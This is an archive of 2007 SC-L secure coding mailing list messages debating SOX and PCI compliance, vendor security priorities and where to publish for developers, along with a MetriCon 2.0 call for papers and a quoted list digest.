From jepstein at webmethods.com  Tue Apr 24 20:07:33 2007
From: jepstein at webmethods.com (Jeremy Epstein)
Date: Tue, 24 Apr 2007 20:07:33 -0400
Subject: [SC-L] Catching up, and some retrospective thoughts
Message-ID: <AD3142518262534DAE5DD2DFCDA529EFFE29DF@ffx-exbe1.webm.webmethods.com>

I've just caught up with 6 weeks of backlogged messages in this group,
and wanted to offer some thoughts on topics that have been hashed out,
but haven't seen these points made.

(1) SOX is a waste, as several people said, because it's just a way to
give auditors more ways to demand irrelevant things on checklists - but
not to pay attention to actual security.  I've had customers demand that
I support AES because their auditors says "SOX requires it", while
meanwhile having unchanged default passwords.  Another customer demanded
that we support 6144 bit RSA keys (no, that's not a typo) because "SOX
requires it".  Neither customer asked anything about software security -
just about the check boxes on the auditor's list.  Ask people to go
*read* SOX, and they'll be surprised what it actually says (or more
accurately, doesn't say).

(2) PCI, by contrast, is dramatically better, because it's got actual
things you can measure, and some of them have some relevance to software
security.  However, it's having an effect that I think was unintended by
the folks who wrote it (or at least the ones I met at a recent
conference) - merchants are pushing the requirements down to all of
their suppliers, regardless of whether they're applicable.  So, for
example, we have to certify that we treat all credit card information in
the required way - even though we don't ever get credit card numbers.
[This is a requirement that might make sense for a merchant to push to
an outsourced processor, but not to a software supplier.  Can you
certify that Windows or Linux handles credit card numbers correctly?]

(3) Vendors do what their customers ask for.  If my customers ask for
better security, we'll put our engineering resources into improving
security - just as Microsoft has done.  If our customers ask for more
whizbang cool GUIs, that's where we'll put our effort.  We *know* that
the products aren't as secure as they could be (and perhaps should be) -
but as a business, we respond to our customers.  I hear what customers
are asking for, and when it comes to enterprise software, the top three
priorities are features, more features, and yet more features.  And we
actually have a metric for whether we're investing in the right places:
how often do we lose deals because of missing features (security or
otherwise) vs. security assurance (i.e., software security).  [Of course
there are other reasons for losing deals too, like price, long term
vision, company reputation, etc., but I'm focusing on the software
ones.]  When the balance of where we lose deals changes, we change our
investments.

As always, my opinions, which don't necessarily represent the views of
my employer, or Alberto Gonzales or anyone else tapping my phone.

--Jeremy

Jeremy Epstein
Senior Director, Product Security & Performance
P 703.460.5852 | C 703.989.8907 | F 703.460.2599 | W 202.456.1111
AIM jeremyepstein | Skype jjepstein
www.webMethods.com


From gunnar at arctecgroup.net  Tue Apr 24 20:44:32 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Tue, 24 Apr 2007 19:44:32 -0500
Subject: [SC-L] MetriCon 2.0 CFP
In-Reply-To: <83B3489DF1064F4E90218770D953D36113F279@va-mail.cigital.com>
Message-ID: <C2540EA0.90F3%gunnar@arctecgroup.net>

Book is here

"Security Metrics: Replacing Fear, Uncertainty, and Doubt" by Andrew Jaquith

http://www.amazon.com/Security-Metrics-Replacing-Uncertainty-Doubt/dp/032134
9989

I am halfway through and it is excellent so far, will post a review soon.
Not sure how the security industry as we know it will get by without fud.

-gp

On 4/24/07 7:32 PM, "Gary McGraw" <gem at cigital.com> wrote:

> Plus, check out Andrew Jaquith's excellent book:
> 
>  -----Original Message-----
> From:  Gunnar Peterson [mailto:gunnar at arctecgroup.net]
> Sent: Tue Apr 24 20:14:53 2007
> To: Secure Mailing List
> Subject: [SC-L] MetriCon 2.0 CFP
> 
> Last year's conference, MetriCon 1.0 featured a software security metrics
> track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
> including:
> 
> * A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk, Fortify
> * An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
> * "Good enough" Metrics - Epstein, WebMethods
> * Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
> * Code Metrics - Chandra, Secure Software
> 
> -gp
> 
> Second Workshop on Security Metrics (MetriCon 2.0) < Call for Papers
> MetriCon 2.0 CFP
> 
> August 7, 2007 Boston, MA
> 
> Overview
> 
> Do you cringe at the subjectivity applied to security in every manner? If
> so, MetriCon 2.0 may be your antidote to change security from an artistic
> "matter of opinion" into an objective, quantifiable science. The time for
> adjectives and adverbs has gone; the time for hard facts and data has come.
> 
> MetriCon 2.0 is intended as a forum for lively, practical discussion in the
> area of security metrics. It is a forum for quantifiable approaches and
> results to problems afflicting information security today, with a bias
> towards practical, specific implementations. Topics and presentations will
> be selected for their potential to stimulate discussion in the Workshop.
> 
> MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
> with the 16th USENIX Security Symposium in Boston, MA, USA
> (http://www.usenix.org/events/sec07/). Beginning first thing in the morning,
> with meals taken in the meeting room, and extending into the evening.
> Attendance will be by invitation and limited to 60 participants. All
> participants will be expected to "come with findings" and be willing to
> address the group in some fashion, formally or not. Preference given to the
> authors of position papers/presentations who have actual work in progress.
> 
> Each presenter will have 10-15 minutes to present his or her idea, followed
> by 15-20 minutes of discussion with the workshop participants. Panels and
> groups of related presentations may be proposed to present different
> approaches to selected topics, and will be steered by what sorts of
> proposals come in response to this Call.
> 
> 
> Goals and Topics
> 
> The goal of the workshop is to stimulate discussion of and thinking about
> security metrics and to do so in ways that lead to realistic, early results
> of lasting value. Potential attendees are invited to submit position papers
> to be shared with all. Such position papers are expected to address security
> metrics in one of the following categories:
> 
> Benchmarking
> Empirical Studies
> Metrics Definitions
> Financial Planning
> Security/Risk Modeling
> Tools, Technologies, Tips, and Tricks
> Visualization
> Practical implementations, real world case studies, and detailed models will
> be preferred over broader models or general ideas.
> 
> How to Participate
> 
> Submit a short position paper or description of work done/ongoing. Your
> submission must be no longer than five(5) paragraphs or presentation slides.
> Author names and affiliations should appear first in/on the submission.
> Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must be
> submitted to MetriCon AT securitymetrics.org.
> 
> Presenters will be notified of acceptance by June 22, 2007 and expected to
> provide materials for distribution by July 22, 2007. All slides and position
> papers will be made available to participants at the workshop. No formal
> proceedings are intended. Plagiarism constitutes dishonesty. The organizers
> of this Workshop as well as USENIX prohibit these practices and will take
> appropriate action if dishonesty of this sort is found. Submission of
> recent, previously published work as well as simultaneous submissions to
> multiple venues is acceptable but please so indicate in your proposal.
> 
> Location
> 
> MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
> (Security ?07). (http://www.usenix.org/events/sec07/)
> Cost
> 
> $200 all-inclusive of meeting space, materials preparation, and meals for
> the day.
> Important Dates
> 
> Requests to participate: by May 11, 2007
> Notification of acceptance: by June 22, 2007
> Materials for distribution: by July 22, 2007
> Workshop Organizers
> 
> Fred Cohen, Fred Cohen & Associates
> Jeremy Epstein, webMethods
> Dan Geer, Geer Risk Services
> Andrew Jaquith, Yankee Group
> Elizabeth Nichols, ClearPoint Metrics, Co-Chair
> Gunnar Peterson, Arctec Group, Co-Chair
> Russell Cameron Thomas, Meritology
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> 

-- 
Gunnar Peterson, Managing Principal, Arctec Group
http://www.arctecgroup.net

SOA, Web Services and XML Security & Web Application Security Training

Schedule of Public Classes
May 7 Washington/Baltimore (WSSC Conference)
May 15 Milan (OWASP App Sec Conference)
July 17-19 Washington/Baltimore

Details and registration info on Arctec Group and Aspect Security classes
http://www.aspectsecurity.com/public_training.htm

Blog: http://1raindrop.typepad.com




From gem at cigital.com  Tue Apr 24 20:32:19 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 24 Apr 2007 20:32:19 -0400
Subject: [SC-L] MetriCon 2.0 CFP
Message-ID: <83B3489DF1064F4E90218770D953D36113F279@va-mail.cigital.com>

Plus, check out Andrew Jaquith's excellent book:

 -----Original Message-----
From: 	Gunnar Peterson [mailto:gunnar at arctecgroup.net]
Sent:	Tue Apr 24 20:14:53 2007
To:	Secure Mailing List
Subject:	[SC-L] MetriCon 2.0 CFP

Last year's conference, MetriCon 1.0 featured a software security metrics
track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
including:

* A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk, Fortify
* An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
* "Good enough" Metrics - Epstein, WebMethods
* Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
* Code Metrics - Chandra, Secure Software

-gp

Second Workshop on Security Metrics (MetriCon 2.0) < Call for Papers
MetriCon 2.0 CFP

August 7, 2007 Boston, MA

Overview

Do you cringe at the subjectivity applied to security in every manner? If
so, MetriCon 2.0 may be your antidote to change security from an artistic
"matter of opinion" into an objective, quantifiable science. The time for
adjectives and adverbs has gone; the time for hard facts and data has come.

MetriCon 2.0 is intended as a forum for lively, practical discussion in the
area of security metrics. It is a forum for quantifiable approaches and
results to problems afflicting information security today, with a bias
towards practical, specific implementations. Topics and presentations will
be selected for their potential to stimulate discussion in the Workshop.

MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
with the 16th USENIX Security Symposium in Boston, MA, USA
(http://www.usenix.org/events/sec07/). Beginning first thing in the morning,
with meals taken in the meeting room, and extending into the evening.
Attendance will be by invitation and limited to 60 participants. All
participants will be expected to "come with findings" and be willing to
address the group in some fashion, formally or not. Preference given to the
authors of position papers/presentations who have actual work in progress.

Each presenter will have 10-15 minutes to present his or her idea, followed
by 15-20 minutes of discussion with the workshop participants. Panels and
groups of related presentations may be proposed to present different
approaches to selected topics, and will be steered by what sorts of
proposals come in response to this Call.


Goals and Topics

The goal of the workshop is to stimulate discussion of and thinking about
security metrics and to do so in ways that lead to realistic, early results
of lasting value. Potential attendees are invited to submit position papers
to be shared with all. Such position papers are expected to address security
metrics in one of the following categories:

Benchmarking
Empirical Studies
Metrics Definitions
Financial Planning
Security/Risk Modeling
Tools, Technologies, Tips, and Tricks
Visualization
Practical implementations, real world case studies, and detailed models will
be preferred over broader models or general ideas.

How to Participate

Submit a short position paper or description of work done/ongoing. Your
submission must be no longer than five(5) paragraphs or presentation slides.
Author names and affiliations should appear first in/on the submission.
Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must be
submitted to MetriCon AT securitymetrics.org.

Presenters will be notified of acceptance by June 22, 2007 and expected to
provide materials for distribution by July 22, 2007. All slides and position
papers will be made available to participants at the workshop. No formal
proceedings are intended. Plagiarism constitutes dishonesty. The organizers
of this Workshop as well as USENIX prohibit these practices and will take
appropriate action if dishonesty of this sort is found. Submission of
recent, previously published work as well as simultaneous submissions to
multiple venues is acceptable but please so indicate in your proposal.

Location

MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
(Security ?07). (http://www.usenix.org/events/sec07/)
Cost

$200 all-inclusive of meeting space, materials preparation, and meals for
the day.
Important Dates

Requests to participate: by May 11, 2007
Notification of acceptance: by June 22, 2007
Materials for distribution: by July 22, 2007
Workshop Organizers

Fred Cohen, Fred Cohen & Associates
Jeremy Epstein, webMethods
Dan Geer, Geer Risk Services
Andrew Jaquith, Yankee Group
Elizabeth Nichols, ClearPoint Metrics, Co-Chair
Gunnar Peterson, Arctec Group, Co-Chair
Russell Cameron Thomas, Meritology



_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




From arian.evans at anachronic.com  Tue Apr 24 22:14:59 2007
From: arian.evans at anachronic.com (Arian J. Evans)
Date: Tue, 24 Apr 2007 19:14:59 -0700
Subject: [SC-L] Catching up, and some retrospective thoughts
In-Reply-To: <AD3142518262534DAE5DD2DFCDA529EFFE29DF@ffx-exbe1.webm.webmethods.com>
References: <AD3142518262534DAE5DD2DFCDA529EFFE29DF@ffx-exbe1.webm.webmethods.com>
Message-ID: <cd1bdfdd0704241914o3c38b2cbv7c4ba27e582342c9@mail.gmail.com>

comments:<inline>

On 4/24/07, Jeremy Epstein <jepstein at webmethods.com> wrote:
>
> I've just caught up with 6 weeks of backlogged messages in this group,


better than me, I fell off all the lists when I moved last year. Pardon list
duplicity:

(1) SOX is a waste, as several people said, because it's just a way to
> give auditors more ways to demand irrelevant things on checklists - but
> not to pay attention to actual security.  I've had customers demand that


[...] usual "non-contextual nonsense audit security" requirements removed

So yeah, this happens all the time. I used to work with several software
companies
that store the key with the encrypted message, same host, same DB, all
because
of the requirement to "encrypt sensitive data". e.g.-like firewall log
management
products and such. zero value. check.

(2) PCI, by contrast, is dramatically better, because it's got actual
> things you can measure, and some of them have some relevance to software
> security.  However, it's having an effect that I think was unintended by
> the folks who wrote it (or at least the ones I met at a recent
> conference) - merchants are pushing the requirements down to all of
> their suppliers, regardless of whether they're applicable.


[...]

To look the proverbial gift horse in the mouth, there's another pattern
I've seen from several PCI assessors: they are requiring some form of
software security "testing". There seems to be a lot of general confusion
about what webappsec in PCI is today and/or means. (It means nothing
that I know of, outside some random training/awareness req).

The problem is there is absolutely no definition on what this means. WHS
for example has two bitbuckets for simiilar attacks: XSS and Content
Spoofing.
Watchfire added a third, "Phishing", which is an overlap of the two above
(their developer didn't want to admit to me his XSS checks were lame,
so made up /random title). Then you have HTTP Response Splitting, which
I think has next to zero attack surface. We stick close to PCI vuln defs
so tend to ignore it, but for some vendors that is a HIGH severity issue.
(!?)

So (a) what is being measured is equivocal, and (b) what is being held
up as priority to be fixed is pretty borked at the moment too.

The really important stuff, like Authentication and Authorization issues,
seem entirely ignored in favor of bit-fiddling like XSS since basic XSS
is generally easier to test for w/out context (e.g.-scanner jocky
-->Click/scan).


> (3) Vendors do what their customers ask for.  If my customers ask for
> better security, we'll put our engineering resources into improving
> security - just as Microsoft has done.
>
[...]

Cynically speaking: has it paid off for MS? Vista? Is security driving
resounding success there? Do we need more time to tell? SQL Server
2005 is nice, but I don't know anyone adopting it because of "security".

OTOH: there are folks waving the security banner and getting
a positive response from it from their clients and prospects, I believe
monetary. They come in a couple of flavors:

1. Touting Security whilst doing something about it:

- http://www.discoveryproductions.com/

(apology to all the folks I know I'm leaving out, not sure who all
I am allowed re: NDAs to mention)

2. Touting security, making completely false claims, without actually
implementing or measuring it (there is no price to pay for doing this today,
I mean, hey: what is "software security" anyway?):

[url removed]
(gives you a nice "uber-secure" message when you log in,
unfortunately thanks to their litigious nature vulns are neither
disclosed nor fixed)

[url removed]
(similar story, website used to have a picture of a "safe" on product
page, at least they took that down, but left all the client-side config
parameters in the app)

I chickened out and remove both URLs before sending. Nobody probably
cares about the specific companies, except those companies, who
have gotten testy with me before.

3. People using security verification as a weapon; this is at least
the fifth time I have seen this in my career (direct observation, not
all the implied vuln research battles):

http://forums.aspdotnetstorefront.com/showthread.php?t=6257

I'm going to fire up a blog on all the fun stuff, forensic and like I saw
at FishNet, and now that I have visibility into 500+ web-sites, should
be some useful measurement stats to provide for folks. I don't think
anyone else out there has as many production sites to evaluate at
one time, so ideas on what to mine for data welcome.

If someone wants a measurement bar (e.g.-we are X,Y compared
to like software in our industry for security) this is probably something
to discuss how to provide too. At least, I see some *hows* that are
all crippled by the sensitivity of the information (at least, the perceived
ability to correlate to clients). But worth exploring I think for you
ISVs...

Thanks, cheers,


-- 
Arian Evans
solipsistic software security sophist

"I spend most of my money on motorcycles, martinis, and mistresses. The rest
of it I squander."
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070424/fca51dfb/attachment-0001.html 

From jgrembi at gmail.com  Tue Apr 24 23:48:38 2007
From: jgrembi at gmail.com (Jason Grembi)
Date: Tue, 24 Apr 2007 23:48:38 -0400
Subject: [SC-L] SC-L Digest, Vol 3, Issue 81
In-Reply-To: <mailman.387.1177459853.2253.sc-l@securecoding.org>
References: <mailman.387.1177459853.2253.sc-l@securecoding.org>
Message-ID: <930b20350704242048x28402065n154122bcbbf2c96d@mail.gmail.com>

Gary/James

As an application developer, who has turned into a secure developer (thanks
Ken at Secure University), I can attest that not a whole lot of 'decision
makers' understand what they're up against (vulnerability speaking).  Most
my time is spent training and explaining; then I use tools to verify my
lectures.  Once the 'decision makers' see the results these tools produce,
they usually green light the use of tools and time spent in
design/development.

In my experience, security issues, so far, have came from the ground up
(programmers) because people at the top have a hard time understanding the
how-to's.  It's going to take a few more years for security factors to rank
up there with quality but the industry is moving that way.

Keep the movement going, these emails and silverbullet podcasts do help.


Jason Grembi
Web Developer


On 4/24/07, sc-l-request at securecoding.org <sc-l-request at securecoding.org>
wrote:
>
> Send SC-L mailing list submissions to
>         sc-l at securecoding.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
>         http://krvw.com/mailman/listinfo/sc-l
> or, via email, send a message with subject or body 'help' to
>         sc-l-request at securecoding.org
>
> You can reach the person managing the list at
>         sc-l-owner at securecoding.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of SC-L digest..."
>
>
> Today's Topics:
>
>    1. Re: How big is the market? (McGovern, James F (HTSC, IT))
>    2. Re: How big is the market? (Gary McGraw)
>    3. Re: How big is the market? (McGovern, James F (HTSC, IT))
>    4. Re: How big is the market? (SC-L Subscriber Dave Aronson)
>    5. NYC Security (McGovern, James F (HTSC, IT))
>    6. Magazines (McGovern, James F (HTSC, IT))
>    7. MetriCon 2.0 CFP (Gunnar Peterson)
>
>
> ----------------------------------------------------------------------
>
> Message: 1
> Date: Tue, 24 Apr 2007 11:17:20 -0400
> From: "McGovern, James F \(HTSC, IT\)"
>         <James.McGovern at thehartford.com>
> Subject: Re: [SC-L] How big is the market?
> To: "Gary McGraw" <gem at cigital.com>
> Cc: SC-L at securecoding.org
> Message-ID:
>         <773F863A6009244B87E6E866AFC7DB460399994A at AD1HFDEXC309.ad1.prod>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Gary, I do at some level agree in terms of quality of publication. My
> perspective though is from an large enterprise perspective whose primary
> business model isn't about technology and the magazines that folks do read
> especially in the development community. A quick informal survey tells me
> that absolutely zero of my peers read IEEE (note I am a subscriber).
>
> Part of the problem may be the fact that us enterprise folks are bombarded
> with free magazines and cannot justify spending money to subscribe to ones
> such as the IEEE. I am merely suggesting some diversification for folks that
> don't pay for magazines.
>
> -----Original Message-----
> From: Gary McGraw [mailto:gem at cigital.com]
> Sent: Tuesday, April 24, 2007 10:50 AM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
>
> I'm sorry James, but I have to respectfully disagree about the vendor
> thing.  Perhaps the tools vendors target the "information protection"
> people, but at Cigital we sell services to software execs (in huge
> companies) who are way up the food chain.
>
> Software security is small, and we need to emphasize the growth and get
> people interested.  This goes for everyone who reads this list.  To
> continue our impressive growth as a field, we need to continue to build.
>
> I do agree with you that people need to write more for developers (but I
> hope they pick better places than JDJ to publish in).  Toward that end,
> check out the "Building Security In" department in IEEE Security &
> Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
> check out Brian Chess's new book "Secure Programming with Static
> Analysis" when it comes out in June.  However, for the most part, it's
> critical to understand that workaday developers can't wrangle enough
> budget to tackle software security.
>
> BTW, I posted a reprise to the darkreading column on justice league
> today:
> http://www.cigital.com/justiceleague/
> http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1
>
> All told, I am very optimistic about our field, but don't think we can
> rest on our laurels at all yet.
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
>
>
> ------------------------------
>
> Message: 2
> Date: Tue, 24 Apr 2007 11:23:51 -0400
> From: Gary McGraw <gem at cigital.com>
> Subject: Re: [SC-L] How big is the market?
> To: "McGovern, James F \(HTSC, IT\)" <James.McGovern at thehartford.com>
> Cc: SC-L at securecoding.org
> Message-ID:
>         <83B3489DF1064F4E90218770D953D36119737B at va-mail.cigital.com>
> Content-Type: text/plain; charset="us-ascii"
>
> Got it.  I like dr. dobbs OK.  Do you see that one around?  It has
> software security content every once in a while.  What others do you
> think would be a good target?
>
> What do the rest of you guys think?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
>
> -----Original Message-----
> From: McGovern, James F (HTSC, IT)
> [mailto:James.McGovern at thehartford.com]
> Sent: Tuesday, April 24, 2007 11:17 AM
> To: Gary McGraw
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
> Gary, I do at some level agree in terms of quality of publication. My
> perspective though is from an large enterprise perspective whose primary
> business model isn't about technology and the magazines that folks do
> read especially in the development community. A quick informal survey
> tells me that absolutely zero of my peers read IEEE (note I am a
> subscriber).
>
> Part of the problem may be the fact that us enterprise folks are
> bombarded with free magazines and cannot justify spending money to
> subscribe to ones such as the IEEE. I am merely suggesting some
> diversification for folks that don't pay for magazines.
>
> -----Original Message-----
> From: Gary McGraw [mailto:gem at cigital.com]
> Sent: Tuesday, April 24, 2007 10:50 AM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
>
> I'm sorry James, but I have to respectfully disagree about the vendor
> thing.  Perhaps the tools vendors target the "information protection"
> people, but at Cigital we sell services to software execs (in huge
> companies) who are way up the food chain.
>
> Software security is small, and we need to emphasize the growth and get
> people interested.  This goes for everyone who reads this list.  To
> continue our impressive growth as a field, we need to continue to build.
>
> I do agree with you that people need to write more for developers (but I
> hope they pick better places than JDJ to publish in).  Toward that end,
> check out the "Building Security In" department in IEEE Security &
> Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
> check out Brian Chess's new book "Secure Programming with Static
> Analysis" when it comes out in June.  However, for the most part, it's
> critical to understand that workaday developers can't wrangle enough
> budget to tackle software security.
>
> BTW, I posted a reprise to the darkreading column on justice league
> today:
> http://www.cigital.com/justiceleague/
> http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1
>
> All told, I am very optimistic about our field, but don't think we can
> rest on our laurels at all yet.
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
> ************************************************************************
> *
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution
> is
> strictly prohibited.  If you are not the intended recipient, please
> notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> ************************************************************************
> *
>
>
>
>
>
> ------------------------------
>
> Message: 3
> Date: Tue, 24 Apr 2007 11:48:25 -0400
> From: "McGovern, James F \(HTSC, IT\)"
>         <James.McGovern at thehartford.com>
> Subject: Re: [SC-L] How big is the market?
> To: "Gary McGraw" <gem at cigital.com>
> Cc: SC-L at securecoding.org
> Message-ID:
>         <773F863A6009244B87E6E866AFC7DB4603999953 at AD1HFDEXC309.ad1.prod>
> Content-Type: text/plain;       charset="iso-8859-1"
>
> I just conducted a super-official study of what my peers are reading by
> walking a total of five aisles within a very large building. Here are a list
> of magazines on folks desk:
>
> - Infoworld
> - Java Developers Journal
> - Insurance & Technology
> - DMReview
> - Intelligent Enterprise
> - CIO
> - Insurance Networking News
>
> Likewise, I asked several folks as to whether they subscribe to Dr. Dobbs
> and the answer was zero. Interestingly enough, I also checked with other
> folks and there seems to be more memberships in our architecture group with
> the ACM over IEEE.
>
> -----Original Message-----
> From: Gary McGraw [mailto:gem at cigital.com]
> Sent: Tuesday, April 24, 2007 11:24 AM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
>
> Got it.  I like dr. dobbs OK.  Do you see that one around?  It has
> software security content every once in a while.  What others do you
> think would be a good target?
>
> What do the rest of you guys think?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
>
> -----Original Message-----
> From: McGovern, James F (HTSC, IT)
> [mailto:James.McGovern at thehartford.com]
> Sent: Tuesday, April 24, 2007 11:17 AM
> To: Gary McGraw
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
> Gary, I do at some level agree in terms of quality of publication. My
> perspective though is from an large enterprise perspective whose primary
> business model isn't about technology and the magazines that folks do
> read especially in the development community. A quick informal survey
> tells me that absolutely zero of my peers read IEEE (note I am a
> subscriber).
>
> Part of the problem may be the fact that us enterprise folks are
> bombarded with free magazines and cannot justify spending money to
> subscribe to ones such as the IEEE. I am merely suggesting some
> diversification for folks that don't pay for magazines.
>
> -----Original Message-----
> From: Gary McGraw [mailto:gem at cigital.com]
> Sent: Tuesday, April 24, 2007 10:50 AM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] How big is the market?
>
>
> I'm sorry James, but I have to respectfully disagree about the vendor
> thing.  Perhaps the tools vendors target the "information protection"
> people, but at Cigital we sell services to software execs (in huge
> companies) who are way up the food chain.
>
> Software security is small, and we need to emphasize the growth and get
> people interested.  This goes for everyone who reads this list.  To
> continue our impressive growth as a field, we need to continue to build.
>
> I do agree with you that people need to write more for developers (but I
> hope they pick better places than JDJ to publish in).  Toward that end,
> check out the "Building Security In" department in IEEE Security &
> Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
> check out Brian Chess's new book "Secure Programming with Static
> Analysis" when it comes out in June.  However, for the most part, it's
> critical to understand that workaday developers can't wrangle enough
> budget to tackle software security.
>
> BTW, I posted a reprise to the darkreading column on justice league
> today:
> http://www.cigital.com/justiceleague/
> http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1
>
> All told, I am very optimistic about our field, but don't think we can
> rest on our laurels at all yet.
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
> ************************************************************************
> *
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution
> is
> strictly prohibited.  If you are not the intended recipient, please
> notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> ************************************************************************
> *
>
>
>
>
>
> ------------------------------
>
> Message: 4
> Date: Tue, 24 Apr 2007 17:06:54 +0000
> From: "SC-L Subscriber Dave Aronson"
>         <secureCoding2dave at davearonson.com>
> Subject: Re: [SC-L] How big is the market?
> To: SC-L at securecoding.org
> Message-ID: <W343211178558761177434414 at webmail1>
> Content-Type: text/plain; charset="us-ascii"
>
> McGovern, James F \(HTSC, IT\) [mailto:James.McGovern at thehartford.com]
> writes:
>
> > I just conducted a super-official study of what my peers are reading by
> > walking a total of five aisles within a very large building. Here are a
> > list of magazines on folks desk:
> >
> > - Infoworld
> > - Java Developers Journal
> > - Insurance & Technology
> > - DMReview
> > - Intelligent Enterprise
> > - CIO
> > - Insurance Networking News
>
> I'd also suggest Software Development, and maybe Information Security.
>
> -Dave
>
> --
> Dave Aronson
> "Specialization is for insects."  -Heinlein
> Work: http://www.davearonson.com/
> Play: http://www.davearonson.net/
>
>
>
>
> ------------------------------
>
> Message: 5
> Date: Tue, 24 Apr 2007 14:27:45 -0400
> From: "McGovern, James F \(HTSC, IT\)"
>         <James.McGovern at thehartford.com>
> Subject: [SC-L] NYC Security
> Cc: SC-L at securecoding.org
> Message-ID:
>         <773F863A6009244B87E6E866AFC7DB460399995F at AD1HFDEXC309.ad1.prod>
> Content-Type: text/plain; charset="iso-8859-1"
>
> FYI. Awhile back I mentioned the Technology Managers Forum in which I am a
> participant. The agenda is finalized and secure coding practices was the
> number one topic: http://www.techforum.com/sf2007_1/index.html For product
> vendors and consulting firms that want access to key decision makers, this
> would be a great opportunity to get a booth.
>
> Anyway, hope to run across folks from this list here. Nothing is better
> than face-to-face conversations...
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
>
>
> ------------------------------
>
> Message: 6
> Date: Tue, 24 Apr 2007 16:26:37 -0400
> From: "McGovern, James F \(HTSC, IT\)"
>         <James.McGovern at thehartford.com>
> Subject: [SC-L] Magazines
> Cc: SC-L at securecoding.org
> Message-ID:
>         <773F863A6009244B87E6E866AFC7DB4603999963 at AD1HFDEXC309.ad1.prod>
> Content-Type: text/plain; charset="iso-8859-1"
>
> FYI. Other magazines read within a large enterprise:
>
> - MSDN Magazine
> - SC Magazine
> - Oracle's Profit Magazine
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
>
>
> ------------------------------
>
> Message: 7
> Date: Tue, 24 Apr 2007 16:45:31 -0500
> From: Gunnar Peterson <gunnar at arctecgroup.net>
> Subject: [SC-L] MetriCon 2.0 CFP
> To: Secure Mailing List <SC-L at securecoding.org>
> Message-ID: <C253E4AB.90DA%gunnar at arctecgroup.net>
> Content-Type: text/plain;       charset="ISO-8859-1"
>
> Last year's conference, MetriCon 1.0 featured a software security metrics
